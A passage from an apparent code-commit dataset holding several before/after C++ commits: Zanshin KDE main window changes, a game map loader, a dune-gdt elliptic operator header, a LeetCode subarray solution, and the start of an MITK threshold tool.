setCentralWidget(m_editor);\n}\n\nvoid MainWindow::setupSideBar(ModelStack *models)\n{\n m_sidebar = new SideBar(models, actionCollection(), this);\n\n QDockWidget *dock = new QDockWidget(this);\n dock->setObjectName(\"SideBar\");\n dock->setFeatures(dock->features() & ~QDockWidget::DockWidgetClosable);\n dock->setWidget(m_sidebar);\n addDockWidget(Qt::LeftDockWidgetArea, dock);\n}\n\nvoid MainWindow::setupActions()\n{\n KActionCollection *ac = actionCollection();\n\n KAction *action = ac->addAction(KStandardAction::ShowMenubar);\n connect(action, SIGNAL(toggled(bool)),\n menuBar(), SLOT(setVisible(bool)));\n\n QActionGroup *modeGroup = new QActionGroup(this);\n modeGroup->setExclusive(true);\n\n action = ac->addAction(\"project_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Project View\"));\n action->setIcon(KIcon(\"view-pim-tasks\"));\n action->setShortcut(Qt::CTRL | Qt::Key_P);\n action->setCheckable(true);\n action->setData(Zanshin::ProjectMode);\n modeGroup->addAction(action);\n\n action = ac->addAction(\"categories_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Categories View\"));\n action->setIcon(KIcon(\"view-pim-notes\"));\n action->setShortcut(Qt::CTRL | Qt::Key_O);\n action->setCheckable(true);\n action->setData(Zanshin::CategoriesMode);\n modeGroup->addAction(action);\n\n ac->addAction(KStandardAction::Preferences, this, SLOT(showConfigDialog()));\n ac->addAction(KStandardAction::Quit, this, SLOT(close()));\n}\n\nvoid MainWindow::closeEvent(QCloseEvent *event)\n{\n saveColumnsState();\n KXmlGuiWindow::closeEvent(event);\n}\n\nvoid MainWindow::saveAutoSaveSettings()\n{\n saveColumnsState();\n KXmlGuiWindow::saveAutoSaveSettings();\n}\n\nvoid MainWindow::saveColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->saveColumnsState(cg);\n}\n\nvoid MainWindow::restoreColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->restoreColumnsState(cg);\n}\n\nvoid MainWindow::onModeSwitch()\n{\n KAction *action = static_cast<KAction*>(sender());\n m_editor->setMode((Zanshin::ApplicationMode)action->data().toInt());\n m_sidebar->setMode((Zanshin::ApplicationMode)action->data().toInt());\n}\n\nvoid MainWindow::showConfigDialog()\n{\n ConfigDialog dialog(this);\n dialog.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <string>\n#include <fstream>\n#include <iostream>\n#include \"map.h\"\n\nusing namespace std;\n\nMap::Map() {}\n\nMap::~Map() {}\n\nvoid Map::LoadMap(string MapFileName){\n\tstring Temp;\n\tfstream MapFile;\n\tint X = 0;\n\tint Y = 0;\n\tint F = 0;\n\tint C = 0;\n\t\n\tMapFile.open (MapFileName, fstream::in);\n\twhile ( MapFile >> Temp ){\n\t\t\n\t\t\t\tcout << Temp << endl << endl << endl << flush;\n\t\tfor (int i = 0; i < Temp.length(); i++){\n\t\t\tif (Temp[i] == ','){\n\t\t\t\tC++;\n\t\t\t\tmapArray[X][Y] = stoi(Temp.substr(F,i-F));\n\t\t\t\tcout << mapArray[X][Y] << \" \" << flush;\n\t\t\t\tX++;\t\t\t\n\t\t\t\tF = i + 1;\n\t\t\t}\n\t\t}\n\t\tY++; \n\t\tX = 0;\n\t\t\t\tcout << \"C = \" << C << flush;\n\t}\n\tMapFile.close();\n}\n\nint Map::Point(int X, int Y){\n\treturn (int)mapArray[X][Y];\n}\n\nbool Map::Passable(int X, int Y){\n\treturn (mapArray[X][Y] < PassableThreshhold);\n}\n\nstring Map::GetPlot(int X, int Y){\n\t\/\/Returns a 20x20 chunk of the map\n\tstring RetVal;\n\tstring Temp;\n\tfor (int i = X; i < X + 20; i++){\n\t\tfor (int j = Y; j < Y + 20; j++){\n\t\t\tif (i <= MaxX && i > -1 && j <= MaxY && j > -1){\n\t\t\t\tTemp = to_string(mapArray[i][j]);\n\t\t\t\tif (Temp.length() == 1) { RetVal += \"0\";}\n\t\t\t\tRetVal += Temp;\n\t\t\t} else {\n\t\t\tRetVal += \"-1\";\n\t\t\t}\n\t\t}\n\t}\n\treturn RetVal;\n}<commit_msg>Work in progress<commit_after>#include <string>\n#include <fstream>\n#include <iostream>\n#include \"map.h\"\n\nusing namespace std;\n\nMap::Map() {}\n\nMap::~Map() {}\n\nvoid Map::LoadMap(string MapFileName){\n\tstring Temp;\n\tfstream MapFile;\n\tint X = 0;\n\tint Y = 0;\n\tint F = 0;\n\tint C = 0;\n\t\n\tMapFile.open (MapFileName, fstream::in);\n\twhile ( MapFile >> Temp ){\n\t\t\n\t\t\t\tcout << endl << endl << endl << flush;\n\t\tfor (int i = 0; i < Temp.length(); i++){\n\t\t\tif (Temp[i] == ','){\n\t\t\t\tC++;\n\t\t\t\tmapArray[X][Y] = stoi(Temp.substr(F,i-F));\n\t\t\t\tcout << mapArray[X][Y] << \" \" << flush;\n\t\t\t\tX++;\t\t\t\n\t\t\t\tF = i + 1;\n\t\t\t}\n\t\t}\n\t\tY++; \n\t\tX = 0;\n\t\tF = 0;\n\t\t\t\tcout << \"\\nC = \" << C << flush;\n\t}\n\tMapFile.close();\n}\n\nint Map::Point(int X, int Y){\n\treturn (int)mapArray[X][Y];\n}\n\nbool Map::Passable(int X, int Y){\n\treturn (mapArray[X][Y] < PassableThreshhold);\n}\n\nstring Map::GetPlot(int X, int Y){\n\t\/\/Returns a 20x20 chunk of the map\n\tstring RetVal;\n\tstring Temp;\n\tfor (int i = X; i < X + 20; i++){\n\t\tfor (int j = Y; j < Y + 20; j++){\n\t\t\tif (i <= MaxX && i > -1 && j <= MaxY && j > -1){\n\t\t\t\tTemp = to_string(mapArray[i][j]);\n\t\t\t\tif (Temp.length() == 1) { RetVal += \"0\";}\n\t\t\t\tRetVal += Temp;\n\t\t\t} else {\n\t\t\tRetVal += \"-1\";\n\t\t\t}\n\t\t}\n\t}\n\treturn RetVal;\n}<|endoftext|>"} {"text":"<commit_before>\/* This file is part of Zanshin Todo.\n\n Copyright 2008-2010 Kevin Ottens <ervin@kde.org>\n Copyright 2008,2009 Mario Bensi <nef@ipsquad.net>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License as\n published by the Free Software Foundation; either version 2 of\n the License or (at your option) version 3 or any later version\n accepted by the membership of KDE e.V. (or its successor approved\n by the membership of KDE e.V.), which shall act as a proxy\n defined in Section 14 of version 3 of the license.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n USA.\n*\/\n\n#include \"mainwindow.h\"\n\n#include <KDE\/KAction>\n#include <KDE\/KActionCollection>\n#include <KDE\/KConfigGroup>\n#include <KDE\/KIcon>\n#include <KDE\/KLocale>\n\n#include <QtGui\/QDockWidget>\n#include <QtGui\/QHeaderView>\n\n#include \"actionlisteditor.h\"\n#include \"globaldefs.h\"\n#include \"sidebar.h\"\n\nMainWindow::MainWindow(ModelStack *models, QWidget *parent)\n : KXmlGuiWindow(parent)\n{\n setupSideBar(models);\n setupCentralWidget(models);\n setupActions();\n\n setupGUI(ToolBar | Keys | Save | Create);\n\n restoreColumnsState();\n\n actionCollection()->action(\"project_mode\")->trigger();\n}\n\nvoid MainWindow::setupCentralWidget(ModelStack *models)\n{\n m_editor = new ActionListEditor(models,\n m_sidebar->projectSelection(),\n m_sidebar->categoriesSelection(),\n actionCollection(),\n this);\n setCentralWidget(m_editor);\n}\n\nvoid MainWindow::setupSideBar(ModelStack *models)\n{\n m_sidebar = new SideBar(models, actionCollection(), this);\n\n QDockWidget *dock = new QDockWidget(this);\n dock->setObjectName(\"SideBar\");\n dock->setFeatures(dock->features() & ~QDockWidget::DockWidgetClosable);\n dock->setWidget(m_sidebar);\n addDockWidget(Qt::LeftDockWidgetArea, dock);\n}\n\nvoid MainWindow::setupActions()\n{\n KActionCollection *ac = actionCollection();\n\n QActionGroup *modeGroup = new QActionGroup(this);\n modeGroup->setExclusive(true);\n\n KAction *action = ac->addAction(\"project_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Project View\"));\n action->setIcon(KIcon(\"view-pim-tasks\"));\n action->setShortcut(Qt::CTRL | Qt::Key_P);\n action->setCheckable(true);\n action->setData(Zanshin::ProjectMode);\n modeGroup->addAction(action);\n\n action = ac->addAction(\"categories_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Categories View\"));\n action->setIcon(KIcon(\"view-pim-notes\"));\n action->setShortcut(Qt::CTRL | Qt::Key_O);\n action->setCheckable(true);\n action->setData(Zanshin::CategoriesMode);\n modeGroup->addAction(action);\n\n ac->addAction(KStandardAction::Quit, this, SLOT(close()));\n}\n\nvoid MainWindow::closeEvent(QCloseEvent *event)\n{\n saveColumnsState();\n KXmlGuiWindow::closeEvent(event);\n}\n\nvoid MainWindow::saveAutoSaveSettings()\n{\n saveColumnsState();\n KXmlGuiWindow::saveAutoSaveSettings();\n}\n\nvoid MainWindow::saveColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->saveColumnsState(cg);\n}\n\nvoid MainWindow::restoreColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->restoreColumnsState(cg);\n}\n\nvoid MainWindow::onModeSwitch()\n{\n KAction *action = static_cast<KAction*>(sender());\n m_editor->setMode((Zanshin::ApplicationMode)action->data().toInt());\n m_sidebar->setMode((Zanshin::ApplicationMode)action->data().toInt());\n}\n<commit_msg>Allow to hide the main menu.<commit_after>\/* This file is part of Zanshin Todo.\n\n Copyright 2008-2010 Kevin Ottens <ervin@kde.org>\n Copyright 2008,2009 Mario Bensi <nef@ipsquad.net>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License as\n published by the Free Software Foundation; either version 2 of\n the License or (at your option) version 3 or any later version\n accepted by the membership of KDE e.V. (or its successor approved\n by the membership of KDE e.V.), which shall act as a proxy\n defined in Section 14 of version 3 of the license.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n USA.\n*\/\n\n#include \"mainwindow.h\"\n\n#include <KDE\/KAction>\n#include <KDE\/KActionCollection>\n#include <KDE\/KConfigGroup>\n#include <KDE\/KIcon>\n#include <KDE\/KLocale>\n#include <KDE\/KMenuBar>\n\n#include <QtGui\/QDockWidget>\n#include <QtGui\/QHeaderView>\n\n#include \"actionlisteditor.h\"\n#include \"globaldefs.h\"\n#include \"sidebar.h\"\n\nMainWindow::MainWindow(ModelStack *models, QWidget *parent)\n : KXmlGuiWindow(parent)\n{\n setupSideBar(models);\n setupCentralWidget(models);\n setupActions();\n\n setupGUI(ToolBar | Keys | Save | Create);\n\n restoreColumnsState();\n\n actionCollection()->action(\"project_mode\")->trigger();\n}\n\nvoid MainWindow::setupCentralWidget(ModelStack *models)\n{\n m_editor = new ActionListEditor(models,\n m_sidebar->projectSelection(),\n m_sidebar->categoriesSelection(),\n actionCollection(),\n this);\n setCentralWidget(m_editor);\n}\n\nvoid MainWindow::setupSideBar(ModelStack *models)\n{\n m_sidebar = new SideBar(models, actionCollection(), this);\n\n QDockWidget *dock = new QDockWidget(this);\n dock->setObjectName(\"SideBar\");\n dock->setFeatures(dock->features() & ~QDockWidget::DockWidgetClosable);\n dock->setWidget(m_sidebar);\n addDockWidget(Qt::LeftDockWidgetArea, dock);\n}\n\nvoid MainWindow::setupActions()\n{\n KActionCollection *ac = actionCollection();\n\n KAction *action = ac->addAction(KStandardAction::ShowMenubar);\n connect(action, SIGNAL(toggled(bool)),\n menuBar(), SLOT(setVisible(bool)));\n\n QActionGroup *modeGroup = new QActionGroup(this);\n modeGroup->setExclusive(true);\n\n action = ac->addAction(\"project_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Project View\"));\n action->setIcon(KIcon(\"view-pim-tasks\"));\n action->setShortcut(Qt::CTRL | Qt::Key_P);\n action->setCheckable(true);\n action->setData(Zanshin::ProjectMode);\n modeGroup->addAction(action);\n\n action = ac->addAction(\"categories_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Categories View\"));\n action->setIcon(KIcon(\"view-pim-notes\"));\n action->setShortcut(Qt::CTRL | Qt::Key_O);\n action->setCheckable(true);\n action->setData(Zanshin::CategoriesMode);\n modeGroup->addAction(action);\n\n ac->addAction(KStandardAction::Quit, this, SLOT(close()));\n}\n\nvoid MainWindow::closeEvent(QCloseEvent *event)\n{\n saveColumnsState();\n KXmlGuiWindow::closeEvent(event);\n}\n\nvoid MainWindow::saveAutoSaveSettings()\n{\n saveColumnsState();\n KXmlGuiWindow::saveAutoSaveSettings();\n}\n\nvoid MainWindow::saveColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->saveColumnsState(cg);\n}\n\nvoid MainWindow::restoreColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->restoreColumnsState(cg);\n}\n\nvoid MainWindow::onModeSwitch()\n{\n KAction *action = static_cast<KAction*>(sender());\n m_editor->setMode((Zanshin::ApplicationMode)action->data().toInt());\n m_sidebar->setMode((Zanshin::ApplicationMode)action->data().toInt());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the dune-gdt project:\n\/\/ http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Albrecht\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_OPERATOR_ELLIPTIC_HH\n#define DUNE_GDT_OPERATOR_ELLIPTIC_HH\n\n#include <type_traits>\n\n#include <dune\/stuff\/la\/container\/interfaces.hh>\n#include <dune\/stuff\/functions\/interfaces.hh>\n\n#include <dune\/gdt\/space\/interface.hh>\n#include <dune\/gdt\/localevaluation\/elliptic.hh>\n#include <dune\/gdt\/localoperator\/codim0.hh>\n\n#include \"interfaces.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Operator {\n\n\n\/\/ forward, to be used in the traits\ntemplate <class DiffusionImp, class MatrixImp, class SourceSpaceImp, class RangeSpaceImp = SourceSpaceImp,\n class GridViewImp = typename SourceSpaceImp::GridViewType>\nclass EllipticCG;\n\n\ntemplate <class DiffusionImp, class MatrixImp, class SourceSpaceImp, class RangeSpaceImp = SourceSpaceImp,\n class GridViewImp = typename SourceSpaceImp::GridViewType>\nclass EllipticCGTraits\n{\n static_assert(std::is_base_of<Stuff::LocalizableFunctionInterface<\n typename DiffusionImp::EntityType, typename DiffusionImp::DomainFieldType,\n DiffusionImp::dimDomain, typename DiffusionImp::RangeFieldType,\n DiffusionImp::dimRange, DiffusionImp::dimRangeCols>,\n DiffusionImp>::value,\n \"DiffusionImp has to be derived from Stuff::LocalizableFunctionInterface!\");\n static_assert(std::is_base_of<Stuff::LA::MatrixInterface<typename MatrixImp::Traits>, MatrixImp>::value,\n \"MatrixImp has to be derived from Stuff::LA::MatrixInterface!\");\n static_assert(std::is_base_of<SpaceInterface<typename SourceSpaceImp::Traits>, SourceSpaceImp>::value,\n \"SourceSpaceImp has to be derived from SpaceInterface!\");\n static_assert(std::is_base_of<SpaceInterface<typename RangeSpaceImp::Traits>, RangeSpaceImp>::value,\n \"RangeSpaceImp has to be derived from SpaceInterface!\");\n\npublic:\n typedef EllipticCG<DiffusionImp, MatrixImp, SourceSpaceImp, RangeSpaceImp, GridViewImp> derived_type;\n typedef MatrixImp MatrixType;\n typedef SourceSpaceImp SourceSpaceType;\n typedef RangeSpaceImp RangeSpaceType;\n typedef GridViewImp GridViewType;\n\nprivate:\n typedef DiffusionImp DiffusionType;\n\npublic:\n typedef LocalOperator::Codim0Integral<LocalEvaluation::Elliptic<DiffusionType>> LocalOperatorType;\n\nprivate:\n friend class EllipticCG<DiffusionImp, MatrixImp, SourceSpaceImp, RangeSpaceImp, GridViewImp>;\n}; \/\/ class EllipticTraits\n\n\ntemplate <class DiffusionImp, class MatrixImp, class SourceSpaceImp, class RangeSpaceImp, class GridViewImp>\nclass EllipticCG : public AssemblableVolumeOperatorBase<EllipticCGTraits<DiffusionImp, MatrixImp, SourceSpaceImp,\n RangeSpaceImp, GridViewImp>>\n{\npublic:\n typedef EllipticCGTraits<DiffusionImp, MatrixImp, SourceSpaceImp, RangeSpaceImp, GridViewImp> Traits;\n\nprivate:\n typedef AssemblableVolumeOperatorBase<Traits> BaseType;\n\n typedef typename Traits::DiffusionType DiffusionType;\n typedef typename Traits::LocalOperatorType LocalOperatorType;\n\npublic:\n typedef typename Traits::MatrixType MatrixType;\n typedef typename Traits::SourceSpaceType SourceSpaceType;\n typedef typename Traits::RangeSpaceType RangeSpaceType;\n typedef typename Traits::GridViewType GridViewType;\n\n using BaseType::pattern;\n\n static Stuff::LA::SparsityPatternDefault pattern(const RangeSpaceType& range_space,\n const SourceSpaceType& source_space, const GridViewType& grid_view)\n {\n return range_space.compute_volume_pattern(grid_view, source_space);\n }\n\n EllipticCG(const DiffusionType& diffusion, MatrixType& matrix, const SourceSpaceType& source_space,\n const RangeSpaceType& range_space, const GridViewType& grid_view)\n : BaseType(matrix, source_space, range_space, grid_view)\n , local_operator_(diffusion)\n {\n }\n\n EllipticCG(const DiffusionType& diffusion, MatrixType& matrix, const SourceSpaceType& source_space,\n const RangeSpaceType& range_space)\n : BaseType(matrix, source_space, range_space)\n , local_operator_(diffusion)\n {\n }\n\n EllipticCG(const DiffusionType& diffusion, MatrixType& matrix, const SourceSpaceType& source_space)\n : BaseType(matrix, source_space)\n , local_operator_(diffusion)\n {\n }\n\nprivate:\n virtual const LocalOperatorType& local_operator() const\n {\n return local_operator_;\n }\n\n const LocalOperatorType local_operator_;\n}; \/\/ class EllipticCG\n\n\n} \/\/ namespace Operator\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_OPERATOR_ELLIPTIC_HH\n<commit_msg>[operator.elliptic] update<commit_after>\/\/ This file is part of the dune-gdt project:\n\/\/ http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Albrecht\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_OPERATOR_ELLIPTIC_HH\n#define DUNE_GDT_OPERATOR_ELLIPTIC_HH\n\n#include <type_traits>\n\n#include <dune\/stuff\/la\/container\/interfaces.hh>\n#include <dune\/stuff\/functions\/interfaces.hh>\n\n#include <dune\/gdt\/space\/interface.hh>\n#include <dune\/gdt\/localevaluation\/elliptic.hh>\n#include <dune\/gdt\/localoperator\/codim0.hh>\n\n#include \"base.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Operator {\n\n\n\/\/ forward, to be used in the traits\ntemplate <class DiffusionImp, class MatrixImp, class SourceSpaceImp, class RangeSpaceImp = SourceSpaceImp,\n class GridViewImp = typename SourceSpaceImp::GridViewType>\nclass EllipticCG;\n\n\ntemplate <class DiffusionImp, class MatrixImp, class SourceSpaceImp, class RangeSpaceImp = SourceSpaceImp,\n class GridViewImp = typename SourceSpaceImp::GridViewType>\nclass EllipticCGTraits\n{\n static_assert(std::is_base_of<Stuff::LocalizableFunctionInterface<\n typename DiffusionImp::EntityType, typename DiffusionImp::DomainFieldType,\n DiffusionImp::dimDomain, typename DiffusionImp::RangeFieldType,\n DiffusionImp::dimRange, DiffusionImp::dimRangeCols>,\n DiffusionImp>::value,\n \"DiffusionImp has to be derived from Stuff::LocalizableFunctionInterface!\");\n static_assert(std::is_base_of<Stuff::LA::MatrixInterface<typename MatrixImp::Traits>, MatrixImp>::value,\n \"MatrixImp has to be derived from Stuff::LA::MatrixInterface!\");\n static_assert(std::is_base_of<SpaceInterface<typename SourceSpaceImp::Traits>, SourceSpaceImp>::value,\n \"SourceSpaceImp has to be derived from SpaceInterface!\");\n static_assert(std::is_base_of<SpaceInterface<typename RangeSpaceImp::Traits>, RangeSpaceImp>::value,\n \"RangeSpaceImp has to be derived from SpaceInterface!\");\n\npublic:\n typedef EllipticCG<DiffusionImp, MatrixImp, SourceSpaceImp, RangeSpaceImp, GridViewImp> derived_type;\n typedef MatrixImp MatrixType;\n typedef SourceSpaceImp SourceSpaceType;\n typedef RangeSpaceImp RangeSpaceType;\n typedef GridViewImp GridViewType;\n\nprivate:\n typedef DiffusionImp DiffusionType;\n\npublic:\n typedef LocalOperator::Codim0Integral<LocalEvaluation::Elliptic<DiffusionType>> LocalOperatorType;\n\nprivate:\n friend class EllipticCG<DiffusionImp, MatrixImp, SourceSpaceImp, RangeSpaceImp, GridViewImp>;\n}; \/\/ class EllipticTraits\n\n\ntemplate <class DiffusionImp, class MatrixImp, class SourceSpaceImp, class RangeSpaceImp, class GridViewImp>\nclass EllipticCG : public Operator::AssemblableVolumeBase<EllipticCGTraits<DiffusionImp, MatrixImp, SourceSpaceImp,\n RangeSpaceImp, GridViewImp>>\n{\npublic:\n typedef EllipticCGTraits<DiffusionImp, MatrixImp, SourceSpaceImp, RangeSpaceImp, GridViewImp> Traits;\n\nprivate:\n typedef Operator::AssemblableVolumeBase<Traits> BaseType;\n\n typedef typename Traits::DiffusionType DiffusionType;\n typedef typename Traits::LocalOperatorType LocalOperatorType;\n\npublic:\n typedef typename Traits::MatrixType MatrixType;\n typedef typename Traits::SourceSpaceType SourceSpaceType;\n typedef typename Traits::RangeSpaceType RangeSpaceType;\n typedef typename Traits::GridViewType GridViewType;\n\n using BaseType::pattern;\n\n static Stuff::LA::SparsityPatternDefault pattern(const RangeSpaceType& range_space,\n const SourceSpaceType& source_space, const GridViewType& grid_view)\n {\n return range_space.compute_volume_pattern(grid_view, source_space);\n }\n\n EllipticCG(const DiffusionType& diffusion, MatrixType& matrix, const SourceSpaceType& source_space,\n const RangeSpaceType& range_space, const GridViewType& grid_view)\n : BaseType(matrix, source_space, range_space, grid_view)\n , local_operator_(diffusion)\n {\n }\n\n EllipticCG(const DiffusionType& diffusion, MatrixType& matrix, const SourceSpaceType& source_space,\n const RangeSpaceType& range_space)\n : BaseType(matrix, source_space, range_space)\n , local_operator_(diffusion)\n {\n }\n\n EllipticCG(const DiffusionType& diffusion, MatrixType& matrix, const SourceSpaceType& source_space)\n : BaseType(matrix, source_space)\n , local_operator_(diffusion)\n {\n }\n\nprivate:\n virtual const LocalOperatorType& local_operator() const DS_OVERRIDE DS_FINAL\n {\n return local_operator_;\n }\n\n const LocalOperatorType local_operator_;\n}; \/\/ class EllipticCG\n\n\n} \/\/ namespace Operator\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_OPERATOR_ELLIPTIC_HH\n<|endoftext|>"} {"text":"<commit_before>#ifndef SOLUTION_HPP\n#define SOLUTION_HPP\n\n#include <algorithm>\n#include <iostream>\n#include <tuple>\n#include <vector>\n\nusing namespace std;\n\nclass Solution {\n public:\n vector<int> maxSumOfThreeSubarrays(vector<int>& nums, int k) {\n auto arrsum = [&nums](int a, int b) {\n int s = 0;\n for (int i = a; i < b; ++i) {\n s += nums[i];\n }\n return s;\n };\n const int N = nums.size();\n const int inf = 0x3f3f3f3f;\n vector<int> dp_(3 * N, -inf);\n auto dp = (int(*)[N])(&dp_[0]);\n vector<int> idx_(3 * N * 3, 0);\n auto idx = (int(*)[N][3])(&idx_[0]);\n int ans[3] = {inf, inf, inf};\n for (int t = 0; t < 3; ++t) {\n int x = t % 2;\n int start = (t + 1) * k - 1;\n ans[t] = start;\n for (int a = start; a < N;\n ++a) { \/\/ index where the new subarray may end\n dp[t][a] = a > start ? dp[t][a - 1] : -inf; \/\/ init as the prev sum\n if (a > start) {\n copy(begin(idx[t][a - 1]), end(idx[t][a - 1]), begin(idx[t][a]));\n }\n \/\/ max sum when array is placed\n int es = -inf;\n if (t == 0) {\n es = arrsum(a - k + 1, a + 1);\n } else {\n int prev = dp[t - 1][a - k];\n if (prev != -inf) {\n es = arrsum(a - k + 1, a + 1) + prev;\n }\n }\n \/\/ ---\n if (es > dp[t][a]) {\n \/\/cout << \"(t, a) = \" << '(' << t << \", \" << a << ')' << '\\n';\n \/\/cout << \"(es, dp[t][a]) = \" << '(' << es << \", \" << dp[t][a] << ')' << '\\n';\n if (t > 0) {\n copy(begin(idx[t - 1][a - k]), end(idx[t - 1][a - k]), begin(idx[t][a]));\n }\n idx[t][a][t] = a - k + 1;\n copy(begin(idx[t][a]), end(idx[t][a]), begin(ans));\n dp[t][a] = es;\n }\n }\n \/\/cout << \"idx:\\n\";\n for (int t = 0; t < 3; ++t) {\n for (int a = 0; a < N; ++a) {\n for (int i = 0; i < 3; ++i) {\n \/\/cout << idx[t][a][i] << \",\";\n }\n \/\/cout << \"| \";\n }\n \/\/cout << '\\n';\n }\n \/\/cout << '\\n';\n \/\/cout << \"ans:\\n\";\n for (int a = 0; a < 3; ++a) {\n \/\/cout << ans[a] << \", \";\n }\n \/\/cout << '\\n';\n }\n \/\/cout << \"dp:\\n\";\n for (int t = 0; t < 3; ++t) {\n for (int a = 0; a < N; ++a) {\n \/\/cout << dp[t][a] << \", \";\n }\n \/\/cout << '\\n';\n }\n \/\/cout << '\\n';\n return {ans[0], ans[1], ans[2]};\n }\n};\n\n#endif \/* SOLUTION_HPP *\/\n<commit_msg>simplify \"Maximum Sum of 3 Non-Overlapping Subarrays\"<commit_after>#ifndef SOLUTION_HPP\n#define SOLUTION_HPP\n\n#include <algorithm>\n#include <numeric>\n#include <vector>\n\nusing namespace std;\n\nclass Solution {\n public:\n vector<int> maxSumOfThreeSubarrays(vector<int>& nums, int k) {\n auto arrsum = [&nums](int a, int b) {\n return accumulate(begin(nums) + a, begin(nums) + b, 0);\n };\n const int N = nums.size();\n const int inf = 0x3f3f3f3f;\n vector<vector<int>> dp(3, vector<int>(N, -inf));\n for (int t = 0; t < 3; ++t) {\n int start = (t + 1) * k - 1;\n for (int a = start; a < N; ++a) {\n \/\/ 'a' is the index where the new subarray may end\n \/\/ max sum when array is placed ending with index a; still ok event if\n \/\/ it's some -inf + sth\n int max_end_here =\n arrsum(a - k + 1, a + 1) + (t > 0 ? dp[t - 1][a - k] : -inf);\n int prev = a > start ? dp[t][a - 1] : -inf;\n dp[t][a] = max({dp[t][a], max_end_here, prev});\n }\n }\n int ans[4] = {N, N, N, N - 1 + k};\n for (int t = 2; t >= 0; --t) {\n auto it = max_element(begin(dp[t]), begin(dp[t]) + ans[t + 1] - k + 1);\n ans[t] = distance(begin(dp[t]), it);\n }\n return {ans[0] - k + 1, ans[1] - k + 1, ans[2] - k + 1};\n }\n};\n\n#endif \/* SOLUTION_HPP *\/\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkBinaryThresholdTool.h\"\n\n#include \"mitkBoundingObjectToSegmentationFilter.h\"\n#include \"mitkToolManager.h\"\n\n#include \"mitkColorProperty.h\"\n#include \"mitkDataStorage.h\"\n#include \"mitkLevelWindowProperty.h\"\n#include \"mitkOrganTypeProperty.h\"\n#include \"mitkProperties.h\"\n#include \"mitkRenderingManager.h\"\n#include \"mitkVtkResliceInterpolationProperty.h\"\n#include <mitkCoreObjectFactory.h>\n\n#include \"mitkImageAccessByItk.h\"\n#include \"mitkImageCast.h\"\n#include \"mitkImageStatisticsHolder.h\"\n#include \"mitkImageTimeSelector.h\"\n#include \"mitkLabelSetImage.h\"\n#include \"mitkMaskAndCutRoiImageFilter.h\"\n#include \"mitkPadImageFilter.h\"\n#include <itkBinaryThresholdImageFilter.h>\n#include <itkImageRegionIterator.h>\n\n\/\/ us\n#include \"usGetModuleContext.h\"\n#include \"usModule.h\"\n#include \"usModuleResource.h\"\n\nnamespace mitk\n{\n MITK_TOOL_MACRO(MITKSEGMENTATION_EXPORT, BinaryThresholdTool, \"Thresholding tool\");\n}\n\nmitk::BinaryThresholdTool::BinaryThresholdTool()\n : m_SensibleMinimumThresholdValue(-100),\n m_SensibleMaximumThresholdValue(+100),\n m_CurrentThresholdValue(0.0),\n m_IsFloatImage(false)\n{\n m_ThresholdFeedbackNode = DataNode::New();\n m_ThresholdFeedbackNode->SetProperty(\"color\", ColorProperty::New(0.0, 1.0, 0.0));\n m_ThresholdFeedbackNode->SetProperty(\"name\", StringProperty::New(\"Thresholding feedback\"));\n m_ThresholdFeedbackNode->SetProperty(\"opacity\", FloatProperty::New(0.3));\n m_ThresholdFeedbackNode->SetProperty(\"binary\", BoolProperty::New(true));\n m_ThresholdFeedbackNode->SetProperty(\"helper object\", BoolProperty::New(true));\n}\n\nmitk::BinaryThresholdTool::~BinaryThresholdTool()\n{\n}\n\nconst char **mitk::BinaryThresholdTool::GetXPM() const\n{\n return NULL;\n}\n\nus::ModuleResource mitk::BinaryThresholdTool::GetIconResource() const\n{\n us::Module *module = us::GetModuleContext()->GetModule();\n us::ModuleResource resource = module->GetResource(\"Threshold_48x48.png\");\n return resource;\n}\n\nconst char *mitk::BinaryThresholdTool::GetName() const\n{\n return 